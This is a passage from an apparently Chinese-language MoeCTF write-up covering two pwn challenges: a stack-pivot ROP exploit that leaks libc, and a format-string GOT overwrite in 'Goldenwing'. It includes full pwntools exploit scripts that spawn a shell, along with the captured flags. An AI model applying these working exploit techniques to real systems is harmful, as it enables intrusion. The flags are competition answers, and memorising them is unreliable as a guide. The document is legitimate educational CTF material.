6
7
8
9
10
11
12
#   [24] .data             PROGBITS         0000000000404000  00003000
# 0000000000000010 0000000000000000 WA 0 0 8
# [25] .bss NOBITS 0000000000404020 00003010
# 0000000000000030 0000000000000000 WA 0 0 32
data_seg = 0x404000 + 0x750

payload = b""
payload += b"A" * 0x80
payload += p64(data_seg + 0x80)
payload += p64(lea_addr_read)

p.sendafter(b"16 bytes can you kill me?", payload)

布栈的代码如下,我们需要去泄露libc的地址,就必须泄露某个函数的地址。很显然虽然调用了上述的布栈手段,但16字节的溢出在迁移之后有效的只有最后的八字节。

这是明显不够的,所以我们需要二次迁移,在布栈的时候,就将rbp指向的位置覆盖为rbp - 0x80,并将一次迁移之后rsp指向的位置(返回地址)覆盖为leave|ret,实现二次迁移。

由此,在二次迁移之后,rsp就会顺利指向pop_rdi

关于payload最开始8个字节要覆盖为data_seg + 0x80。因为在二次迁移之后,rbp需要是一个附近可读可写的地址,以达到后续调用system时的要求。更重要的,我们这次的输入只是为了泄露libc基址,调用system还需要重新布栈。

1
2
3
4
5
6
7
8
payload = p64(data_seg + 0x80)
payload += p64(pop_rdi)
payload += p64(elf.got["puts"])
payload += p64(elf.plt["puts"])
payload += p64(lea_addr_read)
payload = payload.ljust(0x80, b"A")
payload += p64(data_seg)
payload += p64(leave_ret)

泄露libc基址后再次返回read片段,重新布栈:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
p.send(payload)
p.recvline()
puts_addr = u64(p.recv(6).ljust(8, b"\x00"))
p.info(hex(puts_addr))
libc_base = puts_addr - libc.sym["puts"]
p.info(hex(libc_base))
system = libc_base + libc.sym["system"]

# gdb.attach(p)

payload = b"/bin/sh\x00"
payload += b"A" * 0x18
payload += p64(pop_rdi)
payload += p64(data_seg)
payload += p64(system)
payload = payload.ljust(0x80, b"A")
payload += p64(data_seg)
payload += p64(leave_ret)

p.send(payload)

在调用玩puts.plt之后,rsp指针指向了data_seg + 0x20的位置,在read函数返回之后,rsp指向的还是这个位置。所以真正的rop要从0x20偏移处布置。-

完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *
from wstube import websocket

context.arch = "amd64"
context.log_level = "debug"

p = websocket("wss://ctf.xidian.edu.cn/api/traffic/7CXomHpSaDlkYQXe2zeZi?port=9999")
# p = process("./pwn", env = {"LD_PRELOAD" : "./libc.so.6"})
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
# .text:00000000004011E5 lea rax, [rbp+buf]
# .text:00000000004011E9 mov edx, 90h ; nbytes
# .text:00000000004011EE mov rsi, rax ; buf
# .text:00000000004011F1 mov edi, 0 ; fd
# .text:00000000004011F6 call _read
# .text:00000000004011FB nop
# .text:00000000004011FC leave
# .text:00000000004011FD retn
lea_addr_read = 0x4011E5
leave_ret = 0x4011FC
call_read_leave_ret = 0x4011F6
pop_rdi = 0x4011C5
# [24] .data PROGBITS 0000000000404000 00003000
# 0000000000000010 0000000000000000 WA 0 0 8
# [25] .bss NOBITS 0000000000404020 00003010
# 0000000000000030 0000000000000000 WA 0 0 32
data_seg = 0x404000 + 0x750

payload = b""
payload += b"A" * 0x80
payload += p64(data_seg + 0x80)
payload += p64(lea_addr_read)

p.sendafter(b"16 bytes can you kill me?", payload)

# gdb.attach(p)
payload = p64(data_seg + 0x80)
payload += p64(pop_rdi)
payload += p64(elf.got["puts"])
payload += p64(elf.plt["puts"])
payload += p64(lea_addr_read)
payload = payload.ljust(0x80, b"A")
payload += p64(data_seg)
payload += p64(leave_ret)

p.send(payload)
p.recvline()
puts_addr = u64(p.recv(6).ljust(8, b"\x00"))
p.info(hex(puts_addr))
libc_base = puts_addr - libc.sym["puts"]
p.info(hex(libc_base))
system = libc_base + libc.sym["system"]

# gdb.attach(p)

payload = b"/bin/sh\x00"
payload += b"A" * 0x18
payload += p64(pop_rdi)
payload += p64(data_seg)
payload += p64(system)
payload = payload.ljust(0x80, b"A")
payload += p64(data_seg)
payload += p64(leave_ret)

p.send(payload)

p.interactive()

flag: moectf{haVe_a_GoOd_tlMe_wH113_TR@V3ling-wiTh-sTaCK!1a}

25 One Chance !

还没做

26 Goldenwing

好题当赏。

IDA查看程序,main函数里提供了几个方法

整个程序的大意就是要和一个boss打架,你有攻击值和生命值,用practice可以提升自己的数值,但只能提升一次。用fight函数可以和boss打架,打赢之后会给你两次fmt的机会。

同时如果在菜单栏选了-889275714还会给你在栈上布0x20个字节的机会。

回头看practice函数,可以让你自定义得增加攻击力和生命值,但是有数值限制。

发现并没有负数检查,所以可以利用负数去加一个很大的数值。

这道题考察的很全面,综上大体的思路已经有了:

  • 首先利用practice的负数溢出,去给生命值和攻击力叠满
  • 之后利用god函数,在栈上布置如下的数据
1
payload += b"/bin/sh\x00" + p64(elf.got["puts"]) + p64(elf.got["puts"] + 1) + p64(elf.got["puts"] + 2)

​ - /bin/sh是最后劫持puts的got去调用system要用到的,后面三个是puts的got表中地址的低三字节地址。

  • 利用fight函数调用success
    • 第一次fmt利用%s泄露puts函数地址,从而泄露libc基址,计算system函数地址
    • 第二次利用逐字节写入的方法,修改puts的got的低三位为system函数的低三位,让他指向system
    • 之后程序会调用puts函数输出上面这段payload,达到system("/bin/sh")的目的

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
from wstube import websocket

context.arch = "amd64"
context.log_level = "debug"

p = websocket("wss://ctf.xidian.edu.cn/api/traffic/qVhJkFKu1eUit0Av9x06Y?port=9999")
# p = process("./pwn", env = {'LD_PRELOAD' : "./libc.so.6"})
elf = ELF("./pwn")
libc = ELF("./libc.so.6")


p.sendlineafter(b"Press <ENTER> to continue...\n", b"\n")

p.sendlineafter(b"Choice> ", str(2))
p.sendlineafter(b"How much hp you want to grow?", str(-11))
p.sendlineafter(b"How much power you want to grow?", str(-2))

p.sendlineafter(b"Choice> ", str(0xcafebabe))
payload = b""
payload += b"/bin/sh\x00" + p64(elf.got["puts"]) + p64(elf.got["puts"] + 1) + p64(elf.got["puts"] + 2)
p.sendlineafter(b"Maybe you can write some secret code here?", payload)

p.sendlineafter(b"Choice> ", str(3))
# gdb.attach(p)

offset = 17
payload = b"%17$s"
p.sendlineafter(b"You get two magic from Goldenwing, how will you use them?", payload)
libc_base = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) - libc.sym["puts"]
p.info(hex(libc_base))
system_addr = libc_base + libc.sym["system"]
p.info(hex(system_addr))
p.info(hex(libc_base + elf.sym["puts"]))
# payload = fmtstr_payload(offset, {elf.got["puts"] : system_addr})

low_1_byte = system_addr & 0xff
low_2_byte = (system_addr >> 8) & 0xff
low_3_byte = (system_addr >> 16) & 0xff

# 0x70 0xbd 0x2a
# pause()
payload = "%{}c%17$hhn%{}c%18$hhn%{}c%19$hhn".format(low_1_byte, low_2_byte + (0x100 - low_1_byte), low_3_byte + (0x100 - low_2_byte))
p.sendlineafter(b"\x0a\x0a", payload)


p.interactive()

逐字节写入的一个问题在于,如何去在写入后面字节的时候考虑已输出的字符数。

我们知道利用fmt漏洞去写入地址的时候,写入的数值等于之前输出的字符的个数。

举个例子,如果在写入第一个字节时,已经输出了0x70的字符,那么在写入第二个字节时(计划写入0xbd), 只需要写入(0xbd - 0x70)个字节即可。

但这种方法在后面的字节比前面大,或者计划写入字节数过多的时候显然不通用。

1
payload = "%{}c%17$hhn%{}c%18$hhn%{}c%19$hhn".format(low_1_byte, low_2_byte + (0x100 - low_1_byte), low_3_byte + (0x100 - low_2_byte))

我们这里采用一种方法,由于一个字节最大是0xff%hhn写入的最大数值就是0xff。所以实际上写入的数值和已经输出的字符个数的关系是n = num_of_char % 0x100

所以我们在写后一个字节时,只需要再加上一个之前字节的反码,将已输出的字符数抵消掉就好啦。

关于逐字节写入:有的时候我们要利用fmt漏洞去写入一个很大的数据。

如本题所示,常规的思路要将puts的got修改为system,就需要写入六个字节的数据。

  • 如果不利用逐字节写入,为满足%n的写入需要,前面要输出一大堆的字符,printf的执行时间是非常长的,由于传输时间有限,这种方法在写入大数据时常常达不到预期效果。

考虑到本题的客观事实,由于puts和system在libc中的偏移地址都在三字节以内,同时我们最多只能在栈上布置三个字节的地址,所以使用逐字节写入的方法,去劫持puts的got表。

flag: moectf{YOU_Re41LY-6e@T-gOId3nWinGeb0f554}